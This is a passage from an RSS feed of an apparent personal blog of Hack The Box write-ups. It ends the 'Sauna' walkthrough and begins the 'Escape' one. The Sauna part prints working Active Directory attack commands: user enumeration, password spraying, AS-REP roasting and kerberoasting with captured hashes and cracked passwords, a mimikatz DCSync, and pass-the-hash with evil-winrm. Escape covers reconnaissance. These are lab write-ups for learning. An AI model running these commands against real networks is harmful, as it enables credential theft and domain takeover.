&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msDS-PerUserTrustQuota: 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msDS-AllUsersTrustQuota: 1000
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msDS-PerUserTrustTombstonesQuota: 10
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Hugo Smith, EGOTISTICAL-BANK.LOCAL
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;minPwdLength: 7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lockoutThreshold: 0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Key facts:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Each user can create 10 machine account&lt;/li&gt;
&lt;li&gt;Passwords can have minimum of 7 characters&lt;/li&gt;
&lt;li&gt;There are no lockouts&lt;/li&gt;
&lt;li&gt;There is a user &amp;ldquo;Hugo Smith&amp;rdquo; on the box&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 class="relative group"&gt;Foothold
 &lt;div id="foothold" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;fsmith
 &lt;div id="fsmith" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Looking at the website I found this user mentioned around other people. Seeing as I have basic information about the password policy and I know some users I could consider a bruteforce attack if I won&amp;rsquo;t find any other valid vector.&lt;/p&gt;
&lt;p&gt;Interestingly, on the website there is &amp;ldquo;Hugo Bear&amp;rdquo; and &amp;ldquo;Fergus Smith&amp;rdquo; but in the LDAP search I found &amp;ldquo;Hugo Smith&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;I double-checked other options to pivot, but besides running more wordlists for directories, subdomains are performing an IIS tilde enumeration which would a considerable time to setup I could only bruteforce some usernames and later passwords.&lt;/p&gt;
&lt;p&gt;I already found a number of usernames on the website and with my LDAP enumeration. I don&amp;rsquo;t know the format they user in the company so I decided to use &lt;code&gt;username-anarchy&lt;/code&gt; to generate a number of common formats with their full names. I tried to create a nice loop with for and while but I couldn&amp;rsquo;t make it run username-anarchy correctly for some reason. To save some time I just manually swapped the username data in the &lt;code&gt;username-anarchy Sophie Driver &amp;gt;&amp;gt; users.txt&lt;/code&gt; command and create the username list that way.&lt;/p&gt;
&lt;p&gt;With this list I ran &lt;code&gt;kerbrute userenum -d EGOTISTICAL-BANK.LOCAL --dc sauna.EGOTISTICAL-BANK.LOCAL users.txt&lt;/code&gt; and came with two valid users &amp;ldquo;&lt;a href="mailto:hsmith@EGOTISTICAL-BANK.LOCAL" &gt;hsmith@EGOTISTICAL-BANK.LOCAL&lt;/a&gt;&amp;rdquo; and &amp;ldquo;&lt;a href="mailto:fsmith@EGOTISTICAL-BANK.LOCAL" &gt;fsmith@EGOTISTICAL-BANK.LOCAL&lt;/a&gt;&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;I took those usernames, created a smaller wordlists having variants with and without the domain attached and ran them against a relatively small wordlists.
Then, I just ran &lt;code&gt;netexec smb 10.129.95.180 -u users.small -p /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10k-most-common.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;While this is going, when I used kerbrute I had an idea. I can check for kerberoast and as-rep roastable users.
Nevermind, without any creds, I can only as-rep roast - let&amp;rsquo;s do it anyway. &lt;code&gt;GetNPUsers.py -request -usersfile users.small -dc-host sauna.EGOTISTICAL-BANK.LOCAL EGOTISTICAL-BANK.LOCAL/ -no-pass&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We get one hit really&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Loot:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:c53a1f5178113124e04b6272ff3b310b$e1e03544cd582d16c1a209f6d03eade305d1486987508688163a7e59956eabf6c5fa32f62531f72a4c0086d683e87fe7c112b6029171b747db50cc455a0b7deef4e0af2ec47dddd9fba2875e1ad2023eaa1c0a77fe06d65771e6171aa3650167b3360d9adb98d4e05fa1b78208c715b1bc14d9addab4079e68a3bddfa3173a5bba4f2865f69a746762bb2e42d5847a15ba7312cbd5d63457cf1178e6ec7295fce2895c088076ab2cfee7e47f6e100729a6010faa4ec70cadf185c17c76b56c72b748410da8b3b07e50ce934e309b2897a8c4364c2f4c0e7c05471f70fc9e309df3430315fd02343141e78b496813798e23be753b581de2681ed27b4897d68998
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL@EGOTISTICAL-BANK.LOCAL:113e3f966c27ca16a99365459ace54ea$a20ebb88b9d118baf304c1a5f374bb80655e2e7cbae4ec8fc8ca5b5c99b320b7775219c33d71b3c9535aa86ce96915b972c6d042de65eddbc3692949b91c3413ab41ca8b4923a367ce68f904b3f4c1198d17c3c81b50bb3ec2486018650402c26d8024a37da117bc127e20f1724675b1da7223716fd75258cfa4c9a5ef28916e7d20644ae91110680532fffba712e0ffc40410747e7c3410c56ccbdb351ec2f05feb11f54de652b047afca7b47e770c744b46e8ec9d632e1acd58a5d97819615e6dbf0a05b7d502badde77179c89fcd5c48df80e64eef99b375333c37febe38f2120d4f59e5d50d23168e202fad03c85b6e3a72c28a940ab16557deeb87bd7d6&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I scraped that data for the user fsmith into a separate file and run it through rockyou.txt &lt;code&gt;hashcat -m 18200 fsmith.asrep /usr/share/wordlists/rockyou.txt&lt;/code&gt;.
We got credentials! fsmith:Thestrokes23&lt;/p&gt;
&lt;p&gt;I checked different services that the user can access with netexec and found that they can winrm into the host and see some non-default SMB shares.
I went into the host, and grabbed a user flag from there. I did some manual enumeration and didn&amp;rsquo;t find anything promising. In the /Users file we can see once service account which has an unexpected error message when we try to access their files &lt;code&gt;Cannot find path 'C:\Users\svc_loadnmgr' because it does not exist.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Looking at those SMB shares, one of the custom ones is most interesting as I have write permissions on it, &amp;ldquo;RICOH Aficio SP 8300DN PCL 6&amp;rdquo; with a remark &amp;ldquo;We can&amp;rsquo;t print money&amp;rdquo; - let&amp;rsquo;s check it out.
&lt;code&gt;smbclient -U fsmith &amp;quot;//10.129.95.180/RICOH Aficio SP 8300DN PCL 6&amp;quot;&lt;/code&gt;. Sadly I can&amp;rsquo;t view the contents of this share.
Looking at the second one &amp;ldquo;print$&amp;rdquo; we can see that it&amp;rsquo;s likely connected to a printer or to its configuration or internal file structure.&lt;/p&gt;

&lt;h3 class="relative group"&gt;Bloodhound
 &lt;div id="bloodhound" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;It all seems to be hinting for like a printerspooler priv-esc vector. Before I decide on my path, let&amp;rsquo;s check bloodhound first.
&lt;code&gt;bloodhound-python -u fsmith -p 'Thestrokes23' -d EGOTISTICAL-BANK.LOCAL -dc sauna.EGOTISTICAL-BANK.LOCAL -ns 10.129.95.180 -c all; rusthound-ce -d EGOTISTICAL-BANK.LOCAL -u fsmith -p 'Thestrokes23' --zip -c All&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Bloodhound shows that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&amp;ldquo;SAUNA.EGOTISTICAL-BANK.LOCAL&amp;rdquo; computer object has weak supported encryption types&lt;/li&gt;
&lt;li&gt;&amp;ldquo;&lt;a href="mailto:HSMITH@EGOTISTICAL-BANK.LOCAL" &gt;HSMITH@EGOTISTICAL-BANK.LOCAL&lt;/a&gt;&amp;rdquo; is kerberoastable&lt;/li&gt;
&lt;li&gt;&amp;ldquo;&lt;a href="mailto:SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL" &gt;SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL&lt;/a&gt;&amp;rdquo; has GetChanges on &amp;ldquo;EGOTISTICAL-BANK.LOCAL&amp;rdquo; itself.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Looking at the RICOH Aficio SP 8300DN PCL 6 printer OSINT I see it was related with some vulnerabilities in the past. This is likely something I could use.
My current plan of attack is to kerberoast HSmith. Then I will see if he has any additional accesses (like that SMB share), and then look for a printer exploit. I suspect that a successful exploit will drop me into a svc_loanmgr account which I hope has DCSync rights.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Privilege Escalation
 &lt;div id="privilege-escalation" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;hsmith
 &lt;div id="hsmith" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I start with that kerberoast. First &lt;code&gt;sudo ntpdate 10.129.95.180&lt;/code&gt; to fix the skew, and then &lt;code&gt;GetUserSPNs.py -request-user hsmith -dc-ip 10.129.95.180 EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23&lt;/code&gt;. Below is the hash.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$krb5tgs$23$*HSmith$EGOTISTICAL-BANK.LOCAL$EGOTISTICAL-BANK.LOCAL/HSmith*$87d4af1eafee29c894d27ab456393742$bdfdc805b821d7aaf3a5aedfae4002a103da6786c62849393f39742c2fd31fa53569e62c5fb1b19d1f9e49168ce774d807127ec4ff8d92937e4a81b7e66ea688c0be7a6c15b23c9fe00e6d1a020581f46d8496ea3526704daf5920b793dfd82304371d6d3c545fa62f6177a32ad861f0a54e4254f06855e3052b30f619a6677c6b2c94687dc7642ad071372c098f94fcada4184fa681d7e09b33c515743518f602ace271d6d97d8dcd79384940272e0d2a8352b4fe95d492e183e47b060e9b3548da2a3912955f3828a37fa2bfbc5d210df19a5e3ccaba94e5f6de442e1f1ae488924b2c0d109ef2a64f7c713ef0de1be16ec3f7310b0a4c477e84b5ce239e476fb8cdafd5023aa0918db59751473c71759c6ab69db9500848bb6506a47c223e72eb4b6f02e1e89f265d0a7e7ca08c28308fd5a8a837ea03a315477b57a1ffa4a04baf5e8f0f75fc4f43e571685fa1f983b03f44de78eafbd2d9f56c3643b55ee6c9d928a935d5cafd4f94ce47c38de6259973a3843f2e2145a159d180191186b157e340f239d9356a6c39d00f5d1e75b3ef77796a775f8ab0a83d2a19da68cd3ef4b977cf23adec084d357e7081b18c66e7979fe1a2074e52a7d416cde0cf4abce3d1f2137278eb1ebc2eb024d8f971fa870adf29e1bb0d07f1e7350d5196767063b4ab7358c0087a7dfc94318a947f23aa81644bfbd0bc067ad88bfd5ff64603a56705b79b8af422ae66f802fa519e07cf3e6fa6c2562a4cff0a76e4f88d1a0ae9503c64056a90b5b5b95037168ee01b1a15152bb9dceb43ac01fa713c4afbdfa35f28d188bda987e4d564dcf68852b0b1fdee4f3aefd3d3d724a11f818b337959ac353d5637236544e7071dcf31dd142f2550b0e3fc5f88e84e097f8844ca9cf0639ebf32874145b1ee79bb13ad9d4027c7650520781652945a811d5f6d35d44fa76937de1f9b2e08d1558615339c9030fd1b321860ca715a091e929f4048bd65fb113745c7d650ee090c5014c3334d3637c729cc2139f418b91270810bdcd2357572af0ab2331afcc4449016f01ecffffff1d8abcdcd77c8c2ef22383db03657aed641d544be2da47b2c5aade8033806821dc89212fbf3e7dc177637403a1f1c4c05878b238ae429f970f127a100d8fc72475be187bed11dbf6aa6e2c6222f86f036532c773c05003d2593fc1f6949c37812ad0b3f9f1034e087b2dc735be9e0934a88c082517fbc85591a61290ff1df4d164e92a8f049919086da586ee9a04cab70538cf2f302de60cbb00a0cba47ec0b88bc0faa267c728479035b29d0ca4099fbea1bb7a93246618875576a171cacbf34f0a117eac91334aeee1009e4fcb6092e20a08fdde8c270828cf09e8f695620adb8bca857b39cc6d5e7b4f7f7157ee3058d&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I put it into a separate file and run through rockyou.txt with &lt;code&gt;hashcat -m 13100 hsmith.tgs /usr/share/wordlists/rockyou.txt&lt;/code&gt;.
I cracked the passwords and it&amp;rsquo;s &amp;ldquo;Thestrokes23&amp;rdquo; the same one as for fsmith. I enumerated this account a bit and it seems to have the same set of rights and permissions as fsmith but lacking in some aspects - lack of winrm for example.&lt;/p&gt;
&lt;p&gt;I feel like this is a unintended to follow this new account. I will read up on that printer and think of a plan how to exploit it with my correct credentials. If nothing will come to my mind I will consider looking if I can somehow enable the svc_loanmgr account and maybe run WinPEAS as well.&lt;/p&gt;

&lt;h3 class="relative group"&gt;svc_loanmgr
 &lt;div id="svc_loanmgr" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Promising &lt;a href="https://www.pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/" target="_blank" rel="noreferrer"&gt;article&lt;/a&gt;. There seems to be also a &lt;a href="https://www.exploit-db.com/exploits/48036" target="_blank" rel="noreferrer"&gt;Metasploit module&lt;/a&gt; for it, but I&amp;rsquo;d rather do it manually.
I studied this article and tried to edit attached scripts but I didn&amp;rsquo;t feel confident they would work. I went the Metasploit way, I created a meterpreter shell, ran it and caught it with &lt;code&gt;exploit/multi/handler&lt;/code&gt; and tried to run the exploit from there. On both x64 and x86 versions of the payload I got information that the payload failed because the architecture didn&amp;rsquo;t match the environment. I tried migrating the process around to no avail.&lt;/p&gt;
&lt;p&gt;I decided to take a step back and run WinPEAS on the target host to look for any alternative ways to priv-esc.
To my surprise, winpeas found clear-text autologon credentials! I don&amp;rsquo;t think I ever seen them utilized on a box before - svc_loanmanager:Moneymakestheworldgoround!
I checked possible access with netexec but I didn&amp;rsquo;t find anything. I also struggle to spawn a cmd or PowerShell shell with &lt;code&gt;runas&lt;/code&gt; within winrm.&lt;/p&gt;
&lt;p&gt;Previously I noted this fact &lt;code&gt;&amp;quot;SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL&amp;quot; has GetChanges on &amp;quot;EGOTISTICAL-BANK.LOCAL&amp;quot; itself.&lt;/code&gt;
I will try to run secretsdump.py with the creds I know and maybe I will be able to dump the data.
&lt;code&gt;secretsdump.py EGOTISTICAL-BANK.LOCAL/svc_loanmanager:'Moneymakestheworldgoround!'@sauna.EGOTISTICAL-BANK.LOCAL&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I wasn&amp;rsquo;t able to dump that data and a struggle a lot to understand why the user is not being found by my tools. I search with ldapsearch and enumerated a lot of data. I later realized that the user was names first &amp;ldquo;svc_loanmanager&amp;rdquo; but in bloodhound it&amp;rsquo;s &amp;ldquo;svc_loanmgr&amp;rdquo;. I took me too long to admin that mistake. Even though I fixed my secretsdump.py syntax it still would allow me to dump the data.&lt;/p&gt;

&lt;h3 class="relative group"&gt;Administrator
 &lt;div id="administrator" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I then double-checked my permissions in bloodhound and proceeded to download mimikatz on the target. I wasn&amp;rsquo;t able to run it interactively with &lt;code&gt;.\mimikatz.exe&lt;/code&gt; as it looped in trying to start mimikatz in that mode. To avoid it, I ran it with one liners like &lt;code&gt;.\mimikatz.exe &amp;quot;lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:Administrator&amp;quot; exit&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This command returned the administrator&amp;rsquo;s NTLM hash - &lt;code&gt;823452073d75b9d1cf70ebdf86c7f98e&lt;/code&gt; which I used with &lt;code&gt;evil-winrm -i 10.129.95.180 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e&lt;/code&gt;&lt;/p&gt;

&lt;h2 class="relative group"&gt;Closing Thoughts
 &lt;div id="closing-thoughts" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;Sauna is an interesting machine. It goes through a relatively straight-forwards attack path but I fell into a number of false assumptions and rabbit-holes which costed me a lot of time. It&amp;rsquo;s serves as a great reminder to perform a full enumeration before jumping into any conclusions, to leave no stone upturned and to pay attention to small details.&lt;/p&gt;
&lt;p&gt;My first assumption was that the foothold will be related to the website, but at the end it wasn&amp;rsquo;t really useful besides learning the names of some users. Later I convinced myself that the correct privilege escalation vector will be related to a printer - CVE-2019-19363 to be specific - but it wasn&amp;rsquo;t it at all. Lastly I wasted a lot of additional time figuring out why &amp;ldquo;svc_loanmanager&amp;rdquo; didn&amp;rsquo;t work, and I didn&amp;rsquo;t connect the dots that the username was wrong or just edited in the past.&lt;/p&gt;
&lt;p&gt;Fun box.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://emilpawlak.codeberg.page/posts/htb/sauna/featured.png"/></item><item><title>Escape</title><link>https://emilpawlak.codeberg.page/posts/htb/escape/</link><pubDate>08.04.2026</pubDate><author>EmilPawlak@protonmail.com (Emil Pawlak)</author><guid>https://emilpawlak.codeberg.page/posts/htb/escape/</guid><description>Escape is a great machine covering basic network enumeration, intermediate knowledge about MSSQL attack vectors and escalation with ADCS. It doesn&amp;rsquo;t show any niche techniques or obscure vulnerabilities but provides some great fundamental challenges with a seamless and intuitive attack path.</description><description>
&lt;h2 class="relative group"&gt;Enumeration
 &lt;div id="enumeration" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;I ran my favorite &lt;code&gt;nmap&lt;/code&gt; commands on the provided IP.





&lt;div
 id="accordion-e9a3d53ca5c07cfff8033ef50fbba2f3"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
	


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;nmap scan results&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.55% done
Nmap scan report for 10.129.19.47
Host is up (0.028s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-06 22:57:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
|_ssl-date: 2026-04-06T22:59:14+00:00; +8h00m00s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-04-06T22:59:13+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2026-04-06T22:59:14+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-04-06T22:55:27
|_Not valid after: 2056-04-06T22:55:27
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
|_ssl-date: 2026-04-06T22:59:14+00:00; +8h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-04-06T22:59:13+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019
Aggressive OS guesses: Windows Server 2019 (97%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
| date: 2026-04-06T22:58:34
|_ start_date: N/A
| smb2-security-mode: 
| 3:1:1: 
|_ Message signing enabled and required
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m58s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.48 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-06 16:59 CEST
Nmap scan report for 10.129.19.47
Host is up (0.029s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49689/tcp open unknown
49690/tcp open unknown
49711/tcp open unknown
49720/tcp open unknown
49741/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 105.05 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-06 17:01 CEST
Nmap scan report for 10.129.19.47
Host is up (0.029s latency).
Not shown: 996 open|filtered udp ports (no-response)
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-e9a3d53ca5c07cfff8033ef50fbba2f3 &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-e9a3d53ca5c07cfff8033ef50fbba2f3 &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-e9a3d53ca5c07cfff8033ef50fbba2f3 details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-e9a3d53ca5c07cfff8033ef50fbba2f3 details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-e9a3d53ca5c07cfff8033ef50fbba2f3");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;

&lt;br&gt;&lt;/p&gt;
&lt;p&gt;We can see a number of Active Directory related ports opened. From the output I see the domain name and DC name as well - &lt;code&gt;sequel.htb &amp;amp; dc.sequel.htb&lt;/code&gt;. I will add them to &lt;code&gt;/etc/hosts&lt;/code&gt; and start from enumerating DNS.&lt;/p&gt;

&lt;h3 class="relative group"&gt;DNS
 &lt;div id="dns" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;For enumerating DNS I like to run a number of &lt;code&gt;dig&lt;/code&gt; commands.
I like to first start by enumerating the name server &lt;code&gt;dig @sequel.htb dc.sequel.htb NS&lt;/code&gt;.
&lt;code&gt;dig @sequel.htb dc.sequel.htb SOA&lt;/code&gt; for basic information about the domain.
The mail server &lt;code&gt;dig @sequel.htb dc.sequel.htb MX&lt;/code&gt;
I also like to check &lt;code&gt;TXT&lt;/code&gt; and &lt;code&gt;ALL&lt;/code&gt; for some left over data.
And at the end I like to test for a zone transfer with &lt;code&gt;dig @sequel.htb dc.sequel.htb SOA&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I also try to enumerate all domains and subdomains to make sure that I don&amp;rsquo;t miss anything. &lt;code&gt;dig&lt;/code&gt;&amp;rsquo;s output is pretty messy, but It&amp;rsquo;s good to practice working with it.&lt;/p&gt;

&lt;h3 class="relative group"&gt;SMB
 &lt;div id="smb" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I found no new data with DNS, let&amp;rsquo;s look for some easy data with null SMB access. Unfortunately there isn&amp;rsquo;t an anonymous access to it. I also run &lt;code&gt;sudo ntpdate sequel.htb&lt;/code&gt; just to make user it&amp;rsquo;s not because of the time skew.&lt;/p&gt;
&lt;p&gt;Seeing as the domain is named &amp;ldquo;sequel&amp;rdquo; maybe there is &amp;ldquo;prequel&amp;rdquo; or other subdomains in general. I will check in a second, I want to enumerate users on the domain. It can be done with &lt;code&gt;netexec smb 10.129.19.47 -u 'guest' -p '' -rid-brute&lt;/code&gt; but it looks like the guest account is disabled.&lt;br&gt;
PS: It was enabled, maybe uppercase would help or there was some setting that didn&amp;rsquo;t allow it to work. Admittedly, I didn&amp;rsquo;t look deeply into that.&lt;/p&gt;

&lt;h3 class="relative group"&gt;Background scanning
 &lt;div id="background-scanning" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;For subdomains, I would usually run something like &lt;code&gt;ffuf -u sequel.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/ -H &amp;quot;Host: FUZZ.sequel.htb&amp;quot;&lt;/code&gt; in the background, but ffuf requires HTTP and a web server for this to work so it won&amp;rsquo;t fly. &lt;code&gt;gobuster dns -d sequel.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt&lt;/code&gt; on the other hand, queries DNS directly. It&amp;rsquo;s slower but it does the job.&lt;/p&gt;
&lt;p&gt;Background subdomain bruteforce found no new domains.&lt;/p&gt;

